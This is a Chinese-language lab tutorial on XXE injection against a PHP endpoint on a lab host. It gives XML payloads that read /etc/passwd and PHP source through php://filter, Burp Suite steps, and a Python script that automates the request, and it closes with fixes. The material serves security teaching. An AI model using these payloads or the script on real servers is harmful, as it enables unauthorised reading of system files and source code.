实验内容

介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复。

影响版本:

libxml2.8.0版本

漏洞介绍

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

由于站点的建站语言不同,PHP、JAVA、python等也有不同的解析规则,在实际情况中不能一概而论,但原理是相同的。

XML基础知识

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

  1. file:///path/to/file.ext
  2. http://url
  3. php://filter/read=convert.base64-encode/resource=conf.php

XML在调用外部实体整体的写法如下:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xdsec [
  3. <!ELEMENT methodname ANY >
  4. <!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
  5. <methodcall>
  6. <methodname>&xxe;</methodname>
  7. </methodcall>

这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

实验步骤

以下步骤主要讲述了此漏洞的利用方式,XML、Payload的构造方式以及恶意脚本的使用和分析。

步骤1:漏洞验证

首先,我们的目标地址是172.16.12.2/simplexml_load_string.php

我们先来看下simplexml_load_string.php代码怎么写的,代码如下:


  1. <?php
  2. $data = file_get_contents('php://input');
  3. $xml = simplexml_load_string($data);
  4. echo $xml->name;
  5. ?>

最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

我们现在打开Burpsuite,修改浏览器的网络配置,点击最右侧的三个横线,然后依次点击->选项->高级->网络->配置firefox如何连接互联网

设置HTTP代理为127.0.0.1,端口为8080,配置完成后,开启burpsuite的拦截功能,然后访问如下网址

  1. http://172.16.12.2/simplexml_load_string.php

当访问请求被burp拦截后,点击action将此请求发送到burp的repeater选项卡(send to repeater),将如下的XML文本直接写在数据包内容的下面

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>

这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。

执行完成上面的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd文件的内容

如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果在浏览器上显示如下

返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码


  1. <?php
  2. phpinfo();
  3. ?>

我们来访问一下index.php,可以看到确实是执行了phpinfo();函数

步骤2 使用并分析恶意脚本

请访问http://file.ichunqiu.com/397qjz4d下载实验文件。

打开cmd,输入 python 脚本所在路径\xxe-url2.py(可将脚本直接拖入cmd命令行) ,然后输入要读取的文件及要访问的地址.

如下图所示,脚本放在C:\Documents and Settings\Administrator\My Documents\下载\路径下,运行脚本,输入示例payload

  1. file:///etc/passwd

示例地址

  1. http://172.16.12.2/simplexml_load_string.php

xxe-url2.py的代码如下,通过urllib2的request方法用POST方式向目标地址发送XML数据,返回的数据即为服务器172.16.12.2下的/etc/passwd文件

  1. import urllib2
  2. if __name__ == '__main__':
  3. print u'输入要读取的文件,如file:///etc/passwd'
  4. payload = raw_input()
  5. print u'输入要访问的地址,如http://172.16.12.2/simplexml_load_string.php'
  6. url = raw_input()
  7. #url = 'http://192.168.70.235/simplexml_load_string.php'
  8. headers = {'Content-type': 'text/xml'}
  9. xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
  10. req = urllib2.Request(url = url,headers = headers, data = xml)
  11. res_data = urllib2.urlopen(req)
  12. res = res_data.read()
  13. print res

实验结果分析与总结

本次实验主要了解了XML的基础知识以及PHP中XML的使用,了解了漏洞出现的原理,学习了通过构造恶意的外部实体访问,让服务器读取敏感文件内容的恶意操作。

XML外部实体注入可以造成的危害有:

  • 任意文件读取

  • 系统命令执行

  • 内网主机及服务探测

本次实验我们主要进行了任意文件读取的操作,系统命令执行需要在安装了EXPECT扩展的PHP环境下才能执行,内网主机及服务探测可以通过HTTP协议来执行。

修复方案

  • 使用libxml2.8.0以上版本xml解析库,默认禁止外部实体的解析

  • 对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用函数进行过滤

  • 可将外部实体、参数实体和内联DTD都被设置为false,从而避免基于XXE漏洞的攻击。

XXE(xml外部实体注入漏洞)的更多相关文章

  1. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  2. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  3. CTF中关于XXE(XML外部实体注入)题目两道

    题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...

  4. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  5. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

  6. 应用安全-XXE(XML外部实体注入)攻防整理

    libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...

  7. PHP xml 外部实体注入漏洞学习

    XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...

  8. 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞

    官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...

  9. 【研究】XML外部实体注入(XXE)

    在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...

随机推荐

  1. 问题解决: Pandas and scikit-learn: KeyError: […] not in index

    https://stackoverflow.com/questions/51091132/pandas-and-scikit-learn-keyerror-not-in-index The probl ...

  2. html5-canvas绘图操作方法

    <script>function draw(){    var c=document.getElementById("mycanvas");    c.width=50 ...

  3. SVN安装配置及安全注意事项

    两个脚本: svn遍历脚本.zip wooyun上也是已经有非常多的svn泄露网站信息的事件,有的甚至由此导致整个服务器沦陷: WooYun: [盛大180天渗透纪实]第四章.SVN猎手 (某站SVN ...

  4. nekohtml转换html时标签变大写的问题

    public static Document transferByNeko(InputStream stream, String charset) { if (stream == null) retu ...

  5. 2.请求库之requests

    requests模块阅读目录: 介绍 基于GET请求 基于POST请求 响应Response 高级用法 一.介绍 #介绍:使用requests可以模拟浏览器的请求,比起之前用到的urllib,requ ...

  6. jdk8 Function

    例子 1: // 定义function Function<String, String> fun = parm -> { // 这里是定function中的逻辑 return Str ...

  7. Macbook上Windows的触摸板设置工具

    Macbook上用Boot Camp装了双系统后,没了触摸板的三指拖拽功能,滚动(scroll)也太过灵敏,装Boot Camp官方驱动也没用. 装了Trackpad++这个第三方驱动,就能完美实现M ...

  8. Jquery Deferred 详解

    近期由于公司项目主要由我来负责前端,所以打算优化一下代码.在jquery 里面有个Deferred的对象.为了研究这个也看了不少资料,其中阮一峰的博客写的很详细,这里转载一下. 一.什么是deferr ...

  9. 在Linux系统上查看Apache服务器的错误日志

    错误日志和访问日志文件为系统管理员提供了有用的信息,比如,为 Web 服务器排障,保护系统不受各种各样的恶意活动侵犯,或者只是进行各种各样的分析以监控 HTTP 服务器.根据你 Web 服务器配置的不 ...

  10. SAM I AM UVA - 11419 最小点集覆盖 要输出具体覆盖的行和列。

    /** 题目:SAM I AM UVA - 11419 链接:https://vjudge.net/problem/UVA-11419 题意:给定n*n的矩阵,'X'表示障碍物,'.'表示空格;你有一 ...